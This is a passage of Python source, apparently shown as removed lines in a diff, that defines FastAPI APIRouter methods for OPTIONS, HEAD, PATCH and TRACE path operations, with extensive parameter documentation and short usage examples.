generate_unique_id_function=generate_unique_id_function, - ) - - def options( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP OPTIONS operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - - app = FastAPI() - router = APIRouter() - - @router.options("/items/") - def get_item_options(): - return {"additions": ["Aji", "Guacamole"]} - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["OPTIONS"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def head( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP HEAD operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - router = APIRouter() - - @router.head("/items/", status_code=204) - def get_items_headers(response: Response): - response.headers["X-Cat-Dog"] = "Alone in the world" - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["HEAD"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def patch( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP PATCH operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - router = APIRouter() - - @router.patch("/items/") - def update_item(item: Item): - return {"message": "Item updated in place"} - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["PATCH"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def trace( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[params.Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ 